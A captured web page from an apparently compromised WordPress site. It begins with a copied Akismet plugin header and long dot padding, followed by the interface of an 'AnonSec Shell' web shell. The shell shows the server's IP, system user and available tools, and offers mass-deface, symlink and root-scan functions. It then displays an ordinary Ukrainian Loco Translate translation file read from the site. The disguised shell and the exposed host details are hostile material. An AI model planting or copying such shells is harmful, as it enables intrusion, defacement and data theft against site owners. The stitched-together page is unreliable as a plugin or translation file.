#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/cwd/wp-content/languages/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/self/cwd/wp-content/languages/plugins/loco-translate-uk.po
# Translation of Plugins - Loco Translate - Stable (latest release) in Ukrainian
# This file is distributed under the same license as the Plugins - Loco Translate - Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2025-04-07 21:03:09+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=3; plural=(n % 10 == 1 && n % 100 != 11) ? 0 : ((n % 10 >= 2 && n % 10 <= 4 && (n % 100 < 12 || n % 100 > 14)) ? 1 : 2);\n"
"X-Generator: GlotPress/4.0.1\n"
"Language: uk_UA\n"
"Project-Id-Version: Plugins - Loco Translate - Stable (latest release)\n"

#: tpl/admin/config/apis.php:146
msgid "Configured externally"
msgstr "Конфігурується ззовні"

#: src/js/Strings.php:17 tpl/admin/config/apis.php:146
msgid "No API key"
msgstr "Відсутній ключ API"

#. translators: %s will be replaced with a PO file name
#: src/admin/init/InitPoController.php:385
msgid "Copy %s instead"
msgstr "Замість цього скопіюйте %s"

#: tpl/admin/init/init-copy.php:18
msgid "You can copy an existing PO file (recommended), or extract directly from source (advanced)"
msgstr "Ви можете скопіювати існуючий PO-файл (рекомендовано) або витягти безпосередньо з джерела (розширені можливості)"

#: src/admin/init/InitPoController.php:396
msgid "You're creating translations from a POT file"
msgstr "Ви створюєте переклад з POT-файлу"

#: src/admin/init/InitPoController.php:237
msgid "Copy PO file"
msgstr "Скопіювати файл PO"

#: src/admin/DebugController.php:929
msgid "String debugger"
msgstr "Налагоджувач рядків"

#: src/admin/config/BaseController.php:22
msgid "System"
msgstr "Система"

#: src/admin/bundle/ViewController.php:152
msgid "Custom translations may not work without System translations installed"
msgstr "Користувацькі переклади можуть не працювати без встановлених системних перекладів"

#: tpl/admin/help/side-bar.php:6
msgid "Useful links:"
msgstr "Корисні посилання:"

#: tpl/admin/bundle/setup.php:27
msgid "Current configuration as XML"
msgstr "Поточна конфігурація у форматі XML"

#: tpl/admin/bundle/inc-po-table.php:19
msgid "Strings"
msgstr "Рядки"

#. translators: Author credit: (1) Product name (2) version number, (3) author
#. name.
#: src/package/Header.php:89
msgid "\"%1$s\" %2$s by %3$s"
msgstr "\"%1$s\" %2$s від %3$s"

#: src/js/Strings.php:57
msgid "Check the translations marked with a warning sign"
msgstr "Перевірте переклади, позначені попереджувальним знаком"

#. translators: %s refers to a non-zero amount of errors detected. xgettext:
#. javascript-format
#: src/js/Strings.php:54
msgid "%s possible error detected"
msgid_plural "%s possible errors detected"
msgstr[0] "Виявлено %s можливу помилку"
msgstr[1] "Виявлено %s можливі помилки"
msgstr[2] "Виявлено %s можливих помилок"

#. translators: Result of validation when all strings pass validation
#: src/js/Strings.php:50
msgid "No formatting errors detected"
msgstr "Помилок форматування не виявлено"

#. Translators: Button that validates current translation formatting
#: src/admin/file/EditController.php:224
msgctxt "Editor"
msgid "Check"
msgstr "Перевірити"

#. translators: %u is a number of files which were successfully deleted
#: src/admin/file/DeleteController.php:59
msgid "%u file deleted"
msgid_plural "%u files deleted"
msgstr[0] "%u файл видалено"
msgstr[1] "%u файли видалено"
msgstr[2] "%u файлів видалено"

#: src/admin/bundle/SetupController.php:253
msgid "This bundle doesn't declare a domain path. Add one via the Advanced tab if needed"
msgstr "Цей пакет не вказує шлях до домену. Додайте його за потреби через вкладку Передовий"

#: src/admin/bundle/SetupController.php:250
msgid "The default \"languages\" domain path has been detected"
msgstr "Виявлено початковий шлях домену \"мови"

#. Translators: %s will be replaced with a relative path like "/languages"
#: src/admin/bundle/SetupController.php:245
msgid "The domain path is declared by the author as \"%s\""
msgstr "Доменний шлях визначений автором як \"%s\"."

#: src/admin/bundle/SetupController.php:239
msgid "This bundle does't declare a text domain; try configuring it in the Advanced tab"
msgstr "Цей пакет не вказує домен тексту; спробуйте налаштувати його на вкладці передових налаштувань"

#: src/admin/bundle/SetupController.php:235
msgid "This text domain is not in Loco Translate's bundle configuration"
msgstr "Цей текстовий домен не включений в конфігурацію пакета Loco Translate"

#. Translators: This warning is shown when a text domain has defaulted to same
#. as the folder name (or slug)
#: src/admin/bundle/SetupController.php:229
msgid "This plugin doesn't declare a text domain. It's assumed to be the same as the slug, but this could be wrong"
msgstr "Цей плагін не вказує домен тексту. Припускається, що він такий самий, як і частина посилання, але це може бути неправильно."

#. Translators: %s will be replaced with a text domain, e.g. "loco-translate"
#: src/admin/bundle/SetupController.php:222
msgid "WordPress says the primary text domain is \"%s\""
msgstr "WordPress вказує, що основний текстовий домен - \"%s"

#. Translators: Shown when a PO file's Plural-Forms header has a different
#. formula from the Unicode CLDR rules
#: src/Locale.php:500
msgid "Plural forms differ from Loco Translate's built in rules for this language"
msgstr "Форми множини відрізняються від вбудованих правил Loco Translate для цієї мови"

#: src/js/Strings.php:197
msgid "Mismatching placeholder type; check against source text formatting"
msgstr "Невідповідність типу заповнювача; перевірте форматування вихідного тексту"

#: src/js/Strings.php:186
msgid "Possible syntax error in string formatting"
msgstr "Можлива помилка синтаксису у форматуванні рядка"

#. translators: %s is the number of formatting arguments accepted by the source
#. text of a translation xgettext: javascript-format
#: src/js/Strings.php:194
msgid "Missing placeholders; source text formatting suggests at least %s"
msgstr "Відсутні заповнювачі; форматування вихідного тексту пропонує щонайменше %s"

#. translators: %s is the number of formatting arguments accepted by the source
#. text of a translation xgettext: javascript-format
#: src/js/Strings.php:190
msgid "Too many placeholders; source text formatting suggests a maximum of %s"
msgstr "Занадто багато заповнювачів; форматування вихідного тексту пропонує максимум %s"

#: tpl/admin/file/head.php:10
msgid "Edit file headers"
msgstr "Редагувати заголовки файлів"

#: tpl/admin/file/conf.php:23
msgid "Relative path to template file"
msgstr "Відносний шлях до файлу шаблону"

#: tpl/admin/file/conf.php:57 tpl/admin/file/head.php:34
msgid "Save"
msgstr "Зберегти"

#: tpl/admin/file/conf.php:48 tpl/admin/init/init-po.php:149
msgid "Merge strings from related JSON files"
msgstr "Об'єднати рядки з відповідних файлів JSON"

#. translators: Summary of translations copied from a PO file during Sync
#. xgettext: javascript-format
#: src/js/Strings.php:40
msgid "%s translation copied"
msgid_plural "%s translations copied"
msgstr[0] "%s переклад скопійовано"
msgstr[1] "%s переклади скопійовано"
msgstr[2] "%s перекладів скопійовано"

#: src/admin/config/ApisController.php:76
msgid "API URL"
msgstr "API URL"

#. translators: Where %s is any number of strings
#. translators: Shows total string count at top of editor xgettext:
#. javascript-format
#: src/gettext/Metadata.php:191 src/js/Strings.php:109
msgid "%s string"
msgid_plural "%s strings"
msgstr[0] "%s рядок"
msgstr[1] "%s рядки"
msgstr[2] "%s рядків"

#. translators: %s is the quantity of files which were successfully moved
#: src/admin/file/MoveController.php:87
msgid "%s file moved"
msgid_plural "%s files moved"
msgstr[0] "%s файл переміщено"
msgstr[1] "%s файли переміщено"
msgstr[2] "%s файлів переміщено"

#: tpl/admin/file/info-pot.php:31
msgid "%s word"
msgid_plural "%s words"
msgstr[0] "%s слово"
msgstr[1] "%s слова"
msgstr[2] "%s слів"

#: src/gettext/Compiler.php:280
msgid "PO file saved and MO/JSON files compiled"
msgstr "Файл PO збережено, і файли MO/JSON скомпільовано"

#. translators: %s refers to a JSON file which could not be compiled due to an
#. error
#: src/gettext/Compiler.php:148 src/gettext/Compiler.php:213
msgid "JSON compilation failed for %s"
msgstr "Помилка компіляції JSON для %s"

#: tpl/admin/config/version.php:74
msgid "Update Now"
msgstr "Оновити зараз"

#. translators: Where %s is the full version number of WordPress
#: tpl/admin/config/version.php:68
msgid "WordPress %s"
msgstr "WordPress %s"

#. translators: (1) Name of software, e.g. "WordPress" (2) Version number, e.g.
#. "5.6"
#: tpl/admin/config/version.php:53 tpl/admin/config/version.php:71
msgid "Your version of %1$s is out of date. We recommend you upgrade to at least v%2$s, but preferably to the latest stable version."
msgstr "Ваша версія %1$s застаріла. Ми рекомендуємо вам оновити принаймні до v%2$s, але бажано до останньої стабільної версії."

#. translators: Where %s is the full version number of PHP
#: tpl/admin/config/version.php:49
msgid "PHP %s"
msgstr "PHP %s"

#: tpl/admin/config/settings.php:162
msgid "Delete redundant files"
msgstr "Видаліть зайві файли"

#: tpl/admin/config/settings.php:156
msgid "Pretty formatting"
msgstr "Гарне форматування"

#: tpl/admin/config/settings.php:145 tpl/admin/config/settings.php:151
msgid "Compiling JSON files"
msgstr "Компіляція JSON файлів"

#: tpl/admin/init/upload.php:50
msgid "Your file must be named as shown above where %1$s is the language code, e.g. %2$s"
msgstr "Ваш файл повинен мати назву, як показано вище, де %1$s - це код мови, наприклад: %2$s"

#: tpl/admin/init/upload.php:45
msgid "Upload PO file"
msgstr "Завантажити PO файл"

#. translators: Indicates that POT files are optional, which is not recommended
#: tpl/admin/config/settings.php:107
msgid "Sync with source when template missing"
msgstr "Синхронізувати з джерелом, якщо шаблон відсутній"

#: tpl/admin/config/settings.php:99
msgid "Fuzzy matching tolerance"
msgstr "Допуск неточності"

#: tpl/admin/config/settings.php:89 tpl/admin/config/settings.php:95
msgid "Syncing PO files"
msgstr "Синхронізація PO файлів"

#: tpl/admin/help/side-bar.php:15
msgid "Info and tutorials"
msgstr "Інформація та навчальні посібники"

#: src/ajax/ApisController.php:30
msgid "Need a human?"
msgstr "Потрібна людина?"

#: src/ajax/UploadController.php:70
msgid "Your file is identical to the existing one"
msgstr "Ваш файл ідентичний до існуючого"

#: src/admin/init/UploadController.php:52
msgid "Upload a translation file"
msgstr "Завантажте файл перекладу"

#: src/admin/init/UploadController.php:29 tpl/admin/init/upload.php:58
msgid "Upload"
msgstr "Завантажити"

#: src/admin/bundle/ViewController.php:107
msgid "Upload PO"
msgstr "Завантажити PO"

#. Translators: %s will be replaced with the name of a missing POT file
#: src/ajax/SyncController.php:55
msgid "Falling back to source extraction because %s is missing"
msgstr "Повернення до вихідного джерела, оскільки %s відсутній"

#: tpl/admin/bundle/inc-po-table.php:63
msgid "Move"
msgstr "Перемістити"

#: tpl/admin/config/prefs.php:29 tpl/admin/config/prefs.php:33
msgid "Restrict locales"
msgstr "Обмеження локалей"

#. Translators: Button that opens window for auto-translating
#: src/admin/file/EditController.php:222
msgctxt "Editor"
msgid "Auto"
msgstr "АвтоПереклад"

#: src/js/Strings.php:171
msgctxt "Editor"
msgid "Suggest translation"
msgstr "Пропонований переклад"

#: src/js/Strings.php:168
msgctxt "Editor"
msgid "Toggle Fuzzy"
msgstr "Позначити як \"неточний\" (перевірити/уточнити)"

#: src/js/Strings.php:102
msgid "Keep this translation"
msgstr "Зберегти цей переклад"

#: src/js/Strings.php:99
msgid "Loading suggestions"
msgstr "Завантаження пропозицій"

#: src/js/Strings.php:90
msgid "Suggested translations"
msgstr "Запропоновані переклади"

#: src/js/Strings.php:87
msgid "Use this translation"
msgstr "Використовати цей переклад"

#: src/js/Strings.php:84
msgid "Nothing needed updating"
msgstr "Нема потреби в оновленні"

#. translators: %s is the quantity of strings modified during a batch process
#. xgettext: javascript-format
#: src/js/Strings.php:81
msgid "%s string updated"
msgid_plural "%s strings updated"
msgstr[0] "%s рядок оновлено"
msgstr[1] "%s рядки оновлено"
msgstr[2] "%s рядків оновлено"

#. translators: 1: Number of strings; 2: Service provider; e.g. "50 strings
#. translated via Google Translate" xgettext: javascript-format
#: src/js/Strings.php:77
msgid "%1$s string translated via %2$s"
msgid_plural "%1$s strings translated via %2$s"
msgstr[0] "%1$s рядок перекладено через %2$s"
msgstr[1] "%1$s рядки перекладено через %2$s"
msgstr[2] "%1$s рядків перекладено через %2$s"

#. translators: %s is the quantity of strings left unprocessed after a job was
#. stopped prematurely xgettext: javascript-format
#: src/js/Strings.php:73
msgid "Translation job aborted with %s string remaining"
msgid_plural "Translation job aborted with %s strings remaining"
msgstr[0] "Завдання перекладу перервано, залишився %s рядок"
msgstr[1] "Завдання перекладу перервано, залишилось %s рядки"
msgstr[2] "Завдання перекладу перервано, залишилось %s рядків"

#. translators: %s%% is a percentage, e.g. 50% xgettext: javascript-format
#: src/js/Strings.php:69
msgid "Translation progress %s%%"
msgstr "Хід перекладу %s%%"

#. translators: characters meaning individual unicode characters of source text
#. xgettext: javascript-format
#: src/js/Strings.php:65
msgid "%s characters will be sent for translation."
msgstr "%s символів буде надіслано на переклад."

#. translators: %s: the number of strings to be sent for translation xgettext:
#. javascript-format
#: src/js/Strings.php:61
msgid "%s unique source strings."
msgstr "%s унікальних вихідних рядків."

#. translators: Message appears after sync operation, where %s refers to a POT
#. file. xgettext: javascript-format
#: src/js/Strings.php:44
msgid "Strings up to date with %s"
msgstr "Рядки оновлено з %s"

#. translators: Summary of existing translations where the source text has
#. changed slightly xgettext: javascript-format
#: src/js/Strings.php:36
msgid "%s string marked Fuzzy"
msgid_plural "%s strings marked Fuzzy"
msgstr[0] "%s рядок із позначкою Неточний"
msgstr[1] "%s рядки із позначкою Неточний"
msgstr[2] "%s рядків із позначкою Неточний"

#: tpl/admin/config/apis.php:160
msgid "See full disclaimer"
msgstr "Дивись повну відмову від відповідальності"

#: tpl/admin/config/apis.php:159
msgid "Third party services are subject to their own terms of use and may incur costs from the provider"
msgstr "Послуги третіх сторін регулюються їхніми власними умовами використання та можуть нести витрати від їх постачальника"

#: tpl/admin/config/apis.php:157
msgid "Important"
msgstr "Важливо"

#: src/admin/config/ApisController.php:77
msgid "API region"
msgstr "API регіон"

#: src/admin/config/ApisController.php:75
msgid "API key"
msgstr "Ключ API"

#: src/admin/config/ApisController.php:12
#: src/admin/config/BaseController.php:20
#: src/admin/config/BaseController.php:40 tpl/admin/help/tab-config-apis.php:2
msgid "API keys"
msgstr "Ключі API"

#: tpl/ajax/modal-apis-empty.php:11
msgid "Add automatic translation services in the plugin settings."
msgstr "Додайте послуги автоматичного перекладу до налаштування плагіна."

#: tpl/ajax/modal-apis-empty.php:9
msgid "No translation APIs configured"
msgstr "Не налаштовано API перекладу"

#: tpl/ajax/modal-apis-batch.php:29
msgid "Mark new translations as Fuzzy"
msgstr "Позначити нові переклади як НЕТОЧНІ"

#: tpl/ajax/modal-apis-batch.php:23
msgid "Overwrite existing translations"
msgstr "Замінити наявні переклади"

#: tpl/ajax/modal-apis-batch.php:10
msgid "Auto-translate this file"
msgstr "АвтоПереклад цього файлу"

#: src/admin/file/EditController.php:181
msgid "This is NOT a translation file. Manual editing of source strings is not recommended."
msgstr "Це НЕ файл перекладу. Ручне редагувння вихідних рядків не рекомендується."

#: src/fs/FileWriter.php:324
msgid "Modification of POT (template) files is disallowed by the plugin settings"
msgstr "Зміна файлів POT (шаблону) заборонена налаштуваннями плагіна"

#: tpl/admin/file/move-pot.php:14
msgid "Enter a new location for this file"
msgstr "Ввести нове розміщення для цього файла"

#: tpl/admin/file/move.php:17
msgid "The following file will be moved/renamed to the new location:"
msgid_plural "The following files will be moved/renamed to the new location:"
msgstr[0] "Наступний файл буде переміщено/перейменовано до нового розташування:"
msgstr[1] "Наступні файли буде переміщено/перейменовано до нового розташування:"
msgstr[2] "Наступні файли буде переміщено/перейменовано до нового розташування:"

#: tpl/admin/file/move.php:14
msgid "Confirm relocation"
msgstr "Підтвердити переміщення"

#: tpl/admin/file/move-po.php:14
msgid "Choose a new location for these translations"
msgstr "Оберіть нове місце для цих перекладів"

#: tpl/admin/bundle/alias.php:14
msgid "This plugin doesn't have its own translation files, but can be translated in the default text domain"
msgstr "Цей плагін не має власних файлів перекладу, але може бути перекладений в текст за замовчуванням"

#: tpl/admin/config/settings.php:197
msgid "Editing of POT (template) files"
msgstr "Редагування файлів POT (шаблонів)"

#: tpl/admin/config/settings.php:81
msgid "Recommended"
msgstr "Рекомендовано"

#: tpl/admin/config/settings.php:81
msgid "Enable Ajax file uploads"
msgstr "Увімкнути завантаження файлів Ajax"

#: src/fs/FileWriter.php:249
msgid "Parent directory isn't writable"
msgstr "Батьківська директорія не доступна для запису"

#: src/ajax/FsConnectController.php:160
msgid "This move operation requires permission"
msgstr "Ця операція переміщення потребує дозволу"

#: src/ajax/FsConnectController.php:127
msgid "This directory is managed by WordPress. Removed files may be restored during updates"
msgstr "Ця директорія управляється за допомогою WordPress. Видалені файли можуть бути відновлені під час оновлення"

#. translators: Page title where %s is the name of a file to be moved
#: src/admin/file/MoveController.php:111 src/admin/file/MoveController.php:140
msgid "Move %s"
msgstr "Перемістити %s"

#. translators: %s is the quantity of files which failed to be moved
#: src/admin/file/MoveController.php:92
msgid "%s file could not be moved"
msgid_plural "%s files could not be moved"
msgstr[0] "Файл %s не вдалося перемістити"
msgstr[1] "Файли %s не вдалося перемістити"
msgstr[2] "Файлів %s не можуть бути переміщені"

#: src/admin/file/BaseController.php:121
msgid "Relocate"
msgstr "Перемістити"

#: tpl/admin/file/move.php:24
msgid "Move files"
msgstr "Перемістити файли"

#: tpl/admin/errors/file-sec.php:14
msgid "Access to this file is blocked for security reasons"
msgstr "Доступ до цього файлу заблоковано з міркувань безпеки"

#: tpl/admin/errors/file-sec.php:11
msgid "File access disallowed"
msgstr "Доступ до файлу заборонено"

#: src/admin/bundle/ViewController.php:116
msgid "View template"
msgstr "Переглянути шаблон"

#: tpl/admin/config/version.php:18 tpl/admin/config/version.php:75
msgid "Install manually"
msgstr "Встановити вручну"

#: tpl/admin/config/version.php:14
msgid "A newer version of Loco Translate is available for download"
msgstr "Нова версія Loco Translate доступна для завантаження."

#: tpl/admin/help/side-bar.php:9
msgid "Official plugin page"
msgstr "Офіційна сторінка плагіну"

#: tpl/admin/common/inc-fsconn.php:28
msgid "File is protected by the bundle configuration"
msgstr "Файл захищений конфігурацією пакету"

#: tpl/admin/common/inc-fsconn.php:27
msgid "Read only"
msgstr "Тільки для читання"

#: tpl/admin/config/settings.php:43
msgid "Scan JavaScript files with extensions:"
msgstr "Сканувати JavaScript файли з розширеннями:"

#: src/admin/init/InitPoController.php:293
msgid "Assign template"
msgstr "Призначити шаблон"

#: src/js/Strings.php:165
msgctxt "Editor"
msgid "Translated"
msgstr "Перекладено"

#: src/js/Strings.php:162
msgctxt "Editor"
msgid "Untranslated"
msgstr "Не перекладено"

#. translators: %s will be replaced with a URL which may change without
#. affecting the translation.
#: src/hooks/AdminHooks.php:92
msgid "Administrators and auditors may wish to review Loco's <a href=\"%s\">plugin privacy notice</a>."
msgstr "Адміністратори та аудитори можуть переглянути <a href=\"%s\">повідомлення про конфіденційність</a> плагіна Loco."

#: src/hooks/AdminHooks.php:89
msgid "This plugin doesn't collect any data from public website visitors."
msgstr "Цей плагін не збирає ніяких даних про відвідувачів сайту."

#: tpl/admin/bundle/inc-po-table.php:54 tpl/admin/bundle/locale.php:66
msgid "View"
msgstr "Перегляд"

#. translators: %s will be replaced with the full name of the user profile's
#. admin language
#: tpl/admin/root.php:17
msgid "Your admin language is %s."
msgstr "Мова вашого адміністратора %s."

#. translators: %s will be replaced with the full name of the site language
#: tpl/admin/root.php:14
msgid "The language of this site is %s."
msgstr "Мова цього сайту %s."

#: tpl/admin/list/locales.php:25
msgid "Site language"
msgstr "Мова сайту"

#: tpl/admin/list/locales.php:22
msgid "Files found"
msgstr "Файлів знайдено"

#: tpl/admin/list/locales.php:16
msgid "Locale code"
msgstr "Код мови"

#: tpl/admin/list/locales.php:13
msgid "Locale name"
msgstr "Назва мови"

#: tpl/admin/file/info.php:110
msgid "Files in this location can be modified or deleted by WordPress automatic updates"
msgstr "Розміщені тут файли можуть бути змінені або видалені при автоматичному оновленні WordPress"

#: tpl/admin/file/info.php:107
msgid "WordPress updates"
msgstr "Оновлення WordPress"

#: tpl/admin/file/info-mo.php:18 tpl/admin/file/info-po.php:24
#: tpl/admin/file/info-pot.php:21
msgid "File size"
msgstr "Розмір файлу"

#: tpl/admin/file/diff.php:17
msgctxt "Button label for a next revision"
msgid "Next"
msgstr "Наступна"

#: tpl/admin/file/diff.php:14
msgctxt "Button label for a previous revision"
msgid "Previous"
msgstr "Попередня"

#: tpl/admin/file/diff.php:6
msgctxt "revision date short format"
msgid "j M @ H:i"
msgstr "j M @ H:i"

#: tpl/admin/errors/no-locale.php:11
msgid "No files found for this language"
msgstr "Не знайдено файлів для цієї мови"

#: tpl/admin/errors/no-backups.php:18
msgid "File backups are disabled in your plugin settings"
msgstr "Резервне копіювання файлів вимкнено в налаштуваннях плагіна"

#: tpl/admin/errors/no-backups.php:16
msgid "Backup files will be written when you save translations from Loco Translate editor"
msgstr "Резервні копії файлів будуть записуватись при збереженні перекладів через редактор Loco Translate"

#: tpl/admin/errors/no-backups.php:12
msgid "No previous file revisions"
msgstr "Немає попередніх редакцій файлів"

#: src/admin/config/SettingsController.php:68
msgid "Disallow"
msgstr "Заборонити"

#: src/admin/config/SettingsController.php:67
msgid "Allow (with warning)"
msgstr "Дозволити (із попередженням)"

#: src/admin/config/SettingsController.php:66
msgid "Allow"
msgstr "Дозволити"

#: tpl/admin/config/settings.php:187
msgid "Modification of installed files"
msgstr "Модифікація встановлених файлів"

#: tpl/admin/config/settings.php:181
msgid "Save credentials in session"
msgstr "Зберегти повноваження в сесії"

#: tpl/admin/config/settings.php:170 tpl/admin/config/settings.php:176
msgid "File system access"
msgstr "Доступ до файлової системи"

#: tpl/admin/common/inc-fsconn.php:56
msgid "Click \"Connect\" to authenticate with the server"
msgstr "Натисніть \"Підключити\" для автентифікації на сервері"

#. translators: Page title for installed languages page
#: src/mvc/AdminRouter.php:61
msgid "Languages &lsaquo; Loco"
msgstr "Мови &lsaquo; Loco"

#: src/mvc/AdminRouter.php:59
msgid "Languages"
msgstr "Мови"

#: src/fs/FileWriter.php:313
msgid "Modification of installed files is disallowed by the plugin settings"
msgstr "Зміна встановлених файлів заборонена налаштуваннями плагіна"

#. translators: Where %s is a file name
#: src/ajax/DiffController.php:47
msgid "Revisions are identical, you can delete %s"
msgstr "Редакції ідентичні, ви можете видалити %s"

#. translators: Where %s is the name of the invalid POT file
#: src/admin/file/EditController.php:138 src/ajax/SyncController.php:72
msgid "Translation template is invalid (%s)"
msgstr "Шаблон перекладу невірний (%s)"

#. translators: %s is a file name to be rolled back to a previous version.
#. translators: Page title where %s refers to a file name
#: src/admin/file/DiffController.php:59 src/admin/file/DiffController.php:78
msgid "Restore %s"
msgstr "Відновити %s"

#: src/admin/file/DiffController.php:35
msgid "File restored"
msgstr "Файл відновлено"

#: src/admin/file/BaseController.php:120 tpl/admin/file/diff.php:31
msgid "Restore"
msgstr "Відновити"

#: src/admin/bundle/LocaleController.php:145
msgid "See all core translations"
msgstr "Переглянути всі основні переклади"

#: src/admin/bundle/LocaleController.php:138
#: src/admin/file/EditController.php:132 src/admin/file/EditController.php:183
#: tpl/admin/common/inc-fsconn.php:16 tpl/admin/common/inc-fsconn.php:41
#: tpl/admin/config/apis.php:167 tpl/admin/config/prefs.php:45
#: tpl/admin/config/settings.php:234 tpl/admin/errors/no-backups.php:22
msgid "Documentation"
msgstr "Документація"

#: src/admin/bundle/LocaleController.php:137
msgid "No core translation files are installed for this language"
msgstr "Для цієї мови не встановлені основні файли перекладу"

#: src/ajax/FsConnectController.php:130
msgid "Changes to this file may be overwritten or deleted when you update WordPress"
msgstr "Зміни в цьому файлі можуть бути перезаписані або видалені при оновленні WordPress"

#: src/ajax/FsConnectController.php:124
msgid "This directory is managed by WordPress, be careful what you delete"
msgstr "Ця директорія управляється WordPress, будьте обережні при видаленні"

#: src/ajax/FsConnectController.php:121
msgid "This file may be overwritten or deleted when you update WordPress"
msgstr "Цей файл може бути перезаписаний або видалений при оновленні WordPress"

#: src/ajax/FsConnectController.php:163
msgid "Saving this file requires permission"
msgstr "Збереження цього файлу потребує дозволу"

#: src/ajax/FsConnectController.php:157
msgid "Deleting this file requires permission"
msgstr "Видалення цього файлу потребує дозволу"

#: src/ajax/FsConnectController.php:154
msgid "Creating this file requires permission"
msgstr "Створення цього файлу потребує дозволу"

#. Translators: Plural category for zero quantity
#: src/Locale.php:383
msgctxt "Plural category"
msgid "Zero"
msgstr "Нуль"

#: src/admin/init/InitPoController.php:377 tpl/admin/file/info.php:113
msgid "What's this?"
msgstr "Що це?"

#. Translators: Where %s is the size of a file
#: tpl/admin/init/init-pot.php:18
msgid "largest is %s"
msgstr "найбільший %s"

#: tpl/admin/config/settings.php:68
msgid "Maximum line length (zero disables wrapping)"
msgstr "Максимальна довжина рядка (нуль вимикає пакування)"

#. Translators: (1) Number of files (2) Maximum size of file that will be
#. included (3) Size of the largest encountered
#: src/ajax/SyncController.php:99
msgid "%1$s file has been skipped because it's %3$s. (Max is %2$s). Check all strings are present before saving."
msgid_plural "%1$s files over %2$s have been skipped. (Largest is %3$s). Check all strings are present before saving."
msgstr[0] "%1$s файл пропущено, оскільки його розмір %3$s (макс. %2$s). Перед збереженням перевірте наявність всіх рядків."
msgstr[1] "%1$s файли пропущено, оскільки їх розмір %3$s (допустимо %2$s). Перед збереженням перевірте наявність всіх рядків."
msgstr[2] "%1$s файлів пропущено, оскільки їх розмір %3$s (допустимо %2$s). Перед збереженням перевірте наявність всіх рядків."

#: src/admin/bundle/ConfController.php:92
msgid "Child theme declares the same Text Domain as the parent theme"
msgstr "Дочірня тема оголошує той самий текст домену, що й батьківська тема"

#. Translators: General plural category not covered by other forms
#: src/Locale.php:393
msgctxt "Plural category"
msgid "Other"
msgstr "0, 5, 6"

#. Translators: Plural category used in some multi-plural languages
#: src/Locale.php:391
msgctxt "Plural category"
msgid "Many"
msgstr "Багато"

#. Translators: Plural category used in some multi-plural languages
#: src/Locale.php:389
msgctxt "Plural category"
msgid "Few"
msgstr "Декілька"

